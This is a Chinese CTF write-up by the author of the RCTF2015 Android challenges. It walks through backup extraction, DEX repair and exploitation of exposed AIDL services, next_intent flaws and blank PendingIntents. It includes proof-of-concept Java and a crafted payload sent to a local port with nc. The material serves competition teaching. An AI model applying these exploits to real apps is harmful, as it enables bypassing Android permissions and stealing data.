<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/mobile/10557

            @Xbalien ROIS

            從最初CTF上apk的簡單反編譯到現在各種加固逆向,難度已經上升了好多個級別。但感覺除了ACTF,多數的Mobile題目還是以逆向為主。此次作為ROIS成員有幸能參與到RCTF2015的出題工作中,于是嘗試了一些新的出題思路,導致大家做題都很不適應,也把大家坑了一波。歡迎建議、意見、吐槽。

            這次RCTF單獨了一個Mobile類別,主題是漏洞,希望和大家一起探討。

            0x00 Mobile100-FlagSystem


            Show me the flag. (The flag should include RCTF{}). ab_2e204fe0ec33b1689f1c47bd60a9770c

            出題思路:Android backup漏洞 + 本地密碼弱保護

            該題給出了一個修改過的backup.ab,稍微需改了ab的頭部,version以及compress。直接使用abe進行提取的話需要根據代碼簡單修復一下ab頭部。提取出來后發現有兩個備份apk文件。

            com.example.mybackup
            com.example.zi

            其中mybackup里提供了一個經過sqlcipher加密過的BOOKS.db.該數據庫里存儲了flag,只要解密該數據庫之后即可獲取flag。

            密碼直接可以通過反編譯看到:

            #!java
            public BooksDB(Context context) {
                super(context, "BOOKS.db", null, 1);
                this.k = Test.getSign(context);
                this.db = this.getWritableDatabase(this.k);
                this.dbr = this.getReadableDatabase(this.k);
            }
            

            getSign為自己寫的獲取簽名,然后計算"SHA1",直接利用jeb反編譯結果編寫代碼即可獲取key,然后坑點就是要選擇嘗試正確的sqlcipher版本進行解密即可。

            sqlite> PRAGMA KEY = 'KEY';
            sqlite> .schema
            CREATE TABLE android_metadata (locale TEXT);
            CREATE TABLE books_table (book_id INTEGER primary key autoincrement, book_name t
            ext, book_author text);
            sqlite> select * from books_table
            

            或者利用backup的apk中提供的sqlcipher庫進行重寫讀取數據庫也是可以獲取到BOOKS.db內容。

            0x01 Mobile200-Where


            Where is the flag.(The flag should include RCTF{}) misc_5b0a7ae29fe01c7a76a19503e1e0273e

            出題思路:炸彈引爆 + dex結構修復

            該題的定位是雜項題,給了一個apk,但apk啥都沒做。在assets目錄下存在了一個abc文件,打開后可以看到是損壞的dex header,只要根據dex header其他相關結構把各id_size都修復。

            剩下就是要尋找到隱藏起來的dex body.參考聚安全博客[1],我在META-INF目錄里隱藏了一個y,并把加密的dex [email protected]#fjhx11.DEX=en(dex body),aes-128-cbc存放在CERT.RSA尾部,這樣一來主apk是能正常安裝的。

            其實這道題目我描述的不太清楚,坑了一波,所謂的KEY其實只是openssl的-pass,通過KEY生成真正的key以及iv。

            通過相關的openssl操作openssl enc -aes-128-cbc -d -k [email protected]#fjhx11 -nosalt -in xxx -out xxx2將dex body解密后與dex header進行拼接,jeb反編譯后結果如下:

            #!java
            public class MainActivity extends ActionBarActivity {
                public String seed;
            
                public MainActivity() {
                    super();
                    this.seed = "m3ll0t_yetFLag";
                }
            
                protected void onCreate(Bundle savedInstanceState) {
                }
            
                ...
            }
            

            這題我把onCreate方法的code insns扣了出來,查看assembly:

            .method protected onCreate(Bundle)V
                  .registers 8
                  .param p1, "savedInstanceState"
            00000000  nop
                  .prologue
            00000002  nop
            00000004  nop
            00000006  nop
            00000008  nop
            0000000A  nop
            0000000C  nop
            0000000E  nop
            00000010  nop
            00000012  nop
            00000014  nop
            00000016  nop
            00000018  nop
            0000001A  nop
            0000001C  nop
            0000001E  nop
            00000020  nop
                  .local v1, strb:Ljava/lang/StringBuilder;
            00000022  nop
            

            通過判斷長度可以知道y其實就是扣出來的code insns.直接覆蓋在次反編譯可以看到onCreate方法中對seed進行了一些修改,最終得到最后flag.

            0x02 Mobile350-Load


            This APK has a vulnerability,Can you load the flag? Try it. WaWaWa_0bb98521a9f21cc3672774cfec9c7140

            出題思路:暴露組件aidl利用 + next_intent

            該題的出題思路是在某次自己參加眾測中積累的。該題都在強調Load,通過反編譯apk,發現有一個Load類,聲明了很多native方法,然后WebActivity中調用了一個loadUrl來加載網頁。該題本意是通過正確調用的loadUrl,加載flag網址獲取flag。

            但為了增加逆向難度,APK啟動后會檢測一下so的調用者,flag放在vps,增加了so-java來回jni交互的邏輯,最后加上了娜迦的so加固。如果真是逆向做出來的,真的是不得不服了。

            該題在放出提示exposed component exploit后,復旦六星戰隊在比賽結束那個時間獲得了flag,但最終沒有按時提交flag比較遺憾。

            Manifest:normal權限保護CoreService,未導出組件WebActivity,導出組件MiscService

            <permission android:name="com.example.wawawa.permission.CORE_SERVICE" android:protectionLevel="normal" />
            <activity android:name=".WebActivity" />
            <service android:name=".MiscService">
                <intent-filter>
                    <action android:name="com.example.wawawa.Misc_SERVICE" />
                </intent-filter>
            </service>
            <service android:name=".CoreService" android:permission="com.example.wawawa.permission.CORE_SERVICE">
                <intent-filter>
                    <action android:name="com.example.wawawa.CORE_SERVICE" />
                </intent-filter>
            </service>
            

            WebActivity:通過接收處理一個傳遞過來的序列化對象,作為Load.decode的參數可以進行flagUrl的解碼,之后加載解碼后的網頁進而獲取flag,但該組件未導出.

            #!java
            public void onCreate(Bundle arg6) {
                super.onCreate(arg6);
                this.setContentView(2130903068);
                this.a = this.findViewById(2131034173);
                this.a.setWebViewClient(new g(this));
                Serializable v0 = this.getIntent().getSerializableExtra("KEY");
                if(v0 == null || !(v0 instanceof b)) {
                    Toast.makeText(((Context)this), "flag is null", 1).show();
                }
                else {
                    String v1 = ((b)v0).a();
                    String v2 = ((b)v0).b();
                    if("loading".equals(((b)v0).c())) {
                        if(v1 != null && v2 != null) {
                            this.a.loadUrl(Load.decode(((Context)this), v1, v2, a.a));
                            Toast.makeText(((Context)this), "flag loading ...", 1).show();
                            return;
                        }
            
                        this.a.loadUrl("file:///android_asset/666");
                    }
                }
            }
            

            MiscService:存在next_intent特征,可以控制CLASS_NAME啟動組件

            #!java
            public Intent a(Intent arg4) {
                Intent v0 = new Intent();
                v0.setClassName(this.getApplicationContext(), arg4.getStringExtra("CLASS_NAME"));
                v0.putExtras(arg4);
                v0.setFlags(268435456);
                return v0;
            }
            

            CoreService:存在暴露的AIDL接口,多處使用了Load的native方法。

            #!java
            class b extends a {
                b(CoreService arg1) {
                    this.a = arg1;
                    super();
                }
            
                public String a() throws RemoteException {
                    c v0 = new c(Load.getUrl(this.a), Load.getToken(this.a));
                    Thread v1 = new Thread(((Runnable)v0));
                    v1.start();
                    try {
                        v1.join();
                    }
                    catch(InterruptedException v1_1) {
                        v1_1.printStackTrace();
                    }
            
                    return v0.a();
                }
            
                public String b() throws RemoteException {
                    return null;
                }
            
                public String c() throws RemoteException {
                    return Load.getIv(this.a);
                }
            }
            

            因此,通過仔細分析及猜測邏輯,這個核心服務提供了兩個接口: 一個接口通過調用Load的native函數getUrl以及getToken,獲取vps-url以及token參數,post到vps-url,若token正確即可獲取key. 另一個接口通過Load.getIv自己本地獲取了iv. 因此通過直接利用該暴露了aidl接口可以輕松獲得des解密需要的key和iv.

            POC如下:

            #!java
            protected void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.activity_bind);
                try {
                    ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService");  
                    Intent intent = new Intent();
                    intent.setComponent(com);
                    bindService(intent, connD, Context.BIND_AUTO_CREATE);
                } catch (Exception e) {
                }
            
            }
            
            private d da;
            
            private ServiceConnection connD = new ServiceConnection() {
            
                @Override
                public void onServiceConnected(ComponentName name, IBinder service) {
                    da = d.Stub.asInterface(service);
            
                    try {
                        System.out.println(da.c());
                        System.out.println(da.a());
                    } catch (RemoteException e) {
                        e.printStackTrace();
                    }
                }
            
                @Override
                public void onServiceDisconnected(ComponentName name) {
                    // TODO Auto-generated method stub
                }
            
            };
            

            接著,通過next_intent傳遞key和iv,即可開啟webActivity,des解密成功后,加載正確flagUrl。獲取flag。

            #!java
            String key = etKey.getText().toString();
            String iv = etIv.getText().toString();
            String content = "loading";
            b data = new b(key,iv, content);
            Intent intent = new Intent("com.example.wawawa.Misc_SERVICE");
            intent.putExtra("CLASS_NAME", "com.example.wawawa.WebActivity");
            intent.putExtra("KEY", data);
            startService(intent);
            

            0x03 Mobile450-Target


            This APK has a vulnerability, please use it to start the target activity.The flag should include RCTF{}. Package_b6411947d3b360182e8897be40064023

            出題思路:開放本地端口 + PendingIntent + 運行時自竄改

            [email protected]開放網絡端口的安全風險[2],X-team的PendingIntent雙無intent可導致的能力泄露[3] 以及運行時自篡改代碼[4]

            出題本意是,通過該apk開放的一個本地端口,傳遞相關參數,最后觸發主dex中的PendingIntent雙無Intent的通知,獲取相關通知后修改intent內容開啟TargetActivty.其中向端口中傳遞的能夠正確觸發雙無Intent的參數的md5(輸入參數)即為flag。(但dex幾處代碼經過so的自篡改,因此需要獲取真正加載的代碼)

            Manifest:TargetActiviy使用了signature的權限進行保護

            <permission android:name="com.example.packagedetail.permission.TARGET" android:protectionLevel="signature" />
            
                <activity android:name="com.ui.TargetActivity" android:permission="com.example.packagedetail.permission.TARGET">
                    <intent-filter>
                        <action android:name="com.example.packagedetail.TAEGET" />
                        <category android:name="android.intent.category.DEFAULT" />
                    </intent-filter>
                </activity>
            

            因此,想要啟用該activity需要有next-intent或者能力泄露,通過查看ListenService定位到了一處雙無intent。因此觸發ListenService邏輯至allow代碼邏輯即可(allow邏輯代碼是13年開發的重打包加固的app中修改的[5])。

            #!java
            Intent v2_1 = new Intent();
            if("reject".equals(arg9)) {
                v2_1.setClassName(this.a, "com.ui.MainTabHostActivity");
                v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10), 
                        PendingIntent.getActivity(this.a, 0, v2_1, 0));
                ((NotificationManager)v0).notify(1, v1);
                Log.d("CoreListenService", arg9);
            }
            if("allow".equals(arg9)) {
                v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10), 
                        PendingIntent.getActivity(this.a, 0, v2_1, 0));
                ((NotificationManager)v0).notify(1, v1);
                Log.d("CoreListenService", arg9);
            }
            

            該邏輯是,在內存中存在一個設定了allow的條件,就是name為test,perm為READ_F的消息才能被設置為allow。

            #!java
            if(GuardApplication.a.get("test") == null) {
                    GuardApplication.a.put("test", Integer.valueOf(0));
                }
            
            GuardApplication.a.put("test", Integer.valueOf(b.b.get("READ_F").intValue() | GuardApplication
                    .a.get("test").intValue()));
            

            但listenService是未導出組件,無法直接調用,因此只能另尋他路。

            在apk assets目錄下存放了一個d文件,該文件其實是加密后的dex文件。通過查看加載調用GuardApplication可以發現:

            首先通過b()對d復制、解密操作,解密之后加載com.example.dynamic.Init類,執行其中的a方法。 b()最終是異或36,但是該異或代碼在運行時加載的so中進行了修改,異或了18,因此通過36異或出來的d并不是真正的dex。加載后的dex以及odex我也刪除掉了。

            #!java
            public void a() {
                this.b();
                String v1 = this.e.getCacheDir().getPath();
                DexClassLoader v0 = new DexClassLoader(String.valueOf(this.e.getDir(Load.b, 0).getPath()) + 
                        "/" + Load.d, v1, null, this.e.getClassLoader());
                try {
                    Class v0_2 = v0.loadClass("com.example.dynamic.Init");
                    Constructor v2 = v0_2.getConstructor(Context.class);
                    Method v0_3 = v0_2.getMethod("a");
                    this.f = v2.newInstance(this.e);
                    v0_3.invoke(this.f);
                }
                catch(Exception v0_1) {
                    v0_1.printStackTrace();
                }
            
                new File(v1, "bb.dex").delete();
                new File(this.e.getDir(Load.b, 0).getPath(), "bb.jar").delete();
            }
            

            so存在簡單的ptrace以及traceid反調試,想辦法獲取到d.dex后,進行反編譯:可以知道該dex加載后開啟了127.0.0.1:20151端口。處于監聽狀態獲取數據交互。

            #!java
            public ServerSocketThread(Context arg2) {
                super();
                this.c = arg2;
                this.b = 20151;
            }
            
            public final void run() {
                try {
                    this.a = new ServerSocket();
                    this.a.bind(new InetSocketAddress(InetAddress.getLocalHost(), this.b));
                    while(true) {
                        Socket v0_1 = this.a.accept();
                        Log.d("socket", "Socket Acccept!Address=" + v0_1.getInetAddress().toString());
                        if(v0_1 != null) {
                            new b(this.c, v0_1).start();
                        }
            
                        Log.d("socket", "Socket Execute Thread Started!Address=" + v0_1.getInetAddress().toString());
                    }
                }
                catch(Exception v0) {
                    v0.printStackTrace();
                    return;
                }
            }
            

            其中,處理邏輯中,找到一處可以通過接受端口傳遞進來的參數,進行不同的邏輯處理,最后解析參數觸發startservice,調用主dex中任意service以及extras的邏輯。

            #!java
            public class a {
                public static final String b = "mobile://rois/?";
            
                static {
                    a.a = new HashMap();
                    a.a.put("start", Integer.valueOf(3));
                    a.a.put("handle", Integer.valueOf(4));
                    a.a.put("test", Integer.valueOf(1));
                    a.a.put("location", Integer.valueOf(2));
                    a.a.put("getinfo", Integer.valueOf(5));
                    a.a.put("sms", Integer.valueOf(6));
                    a.a.put("contact", Integer.valueOf(7));
                }
            
                public a() {
                    super();
                }
            }
            

            因此,nc 127.0.0.1 20151,向該端口傳遞數據,嘗試觸發該邏輯,以下邏輯為需要觸發的邏輯。接受參數后,會對xx=xx&xx=xx&xx=xx之類的輸入,進行解析。獲取到相關的輸入數據后,構造特定的Intent,包括組件名,extras數據等等,最后通過startservice將intent傳遞到主dex的邏輯中。

            #!
            label_184:
                if(!v1[1].startsWith("cm=")) {
                    goto label_93;
                }
            
                if(!v1[2].startsWith("ac=")) {
                    goto label_93;
                }
            
                if(!v1[3].startsWith("extr=")) {
                    goto label_93;
                }
            
                v0_4 = v2.getQueryParameter("cm");
                v1_1 = v2.getQueryParameter("ac");
                String v2_2 = v2.getQueryParameter("extr");
                Intent v3_1 = new Intent();
                if(v0_4 != null) {
                    v3_1.setComponent(new ComponentName(this.a, v0_4));
                }
            
                if(("true".equals(v1_1)) && v2_2 != null) {
                    System.out.println(v2_2);
                    v0_5 = v2_2.split("-");
                    if(v0_5.length == 6) {
                        v3_1.putExtra(v0_5[0], v0_5[1]);
                        v3_1.putExtra(v0_5[2], v0_5[3]);
                        v3_1.putExtra(v0_5[4], v0_5[5]);
                    }
                }
            
                this.a.startService(v3_1);
            

            觸發調用listenService的邏輯后,intent根據相關解析相關邏輯約束,在滿足某約束的輸入下,進而發送雙無intent的通知。該輸入MD5就是所謂的flag。

            (但在ListenService中我留了一個坑,v1.getString("perm", "per"),其中key "perm"我在so自篡改成了PERM)。

            #!java
            public int onStartCommand(Intent arg5, int arg6, int arg7) {
                if(arg5 != null) {
                    Bundle v1 = arg5.getExtras();
                    Iterator v2 = v1.keySet().iterator();
                    while(v2.hasNext()) {
                        v2.next();
                    }
            
                    if(v1 != null) {
                        String v0 = v1.getString("name", "name");
                        if("log".equals(v1.getString("action", "act"))) {
                            this.b = new com.service.ListenService$b(this, ((Context)this), v0, v1.getString(
                                    "perm", "per"));
                            this.c = new Thread(this.b);
                            this.c.start();
                        }
                    }
                }
            
                return super.onStartCommand(arg5, arg6, arg7);
            }
            

            因此向監聽端口發送:action=start&cm=com.service.ListenService&ac=true&extr=name-test-action-log-PERM-READ_F

            即可觸發allow通知,該通知存放一個雙無intent.再通過修改intent即可觸發TargetActivity.

            ps:自己反編譯混淆后的apk才發現看得還是挺蛋疼的,又坑了大家一波。

            0x04 小結


            此次RCTF2015 Mobile類題目,我嘗試了一些漏洞的思路進行出題,也許還會存在我沒有考慮到的問題,也或許獲取flag的方式讓大家不解,包括讓大家入坑的都請見諒哈。希望有興趣童鞋可以嘗試把Mobile的CTF題出得更全面、更有意思。

            最后。參加RCTF的小伙伴們。

            0x05 參考


            1. http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.v5UAtC&id=76
            2. http://drops.wooyun.org/mobile/6973
            3. http://xteam.baidu.com/?p=77
            4. http://blog.csdn.net/freshui/article/details/13620647
            5. https://github.com/Xbalien/GuardDroid

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线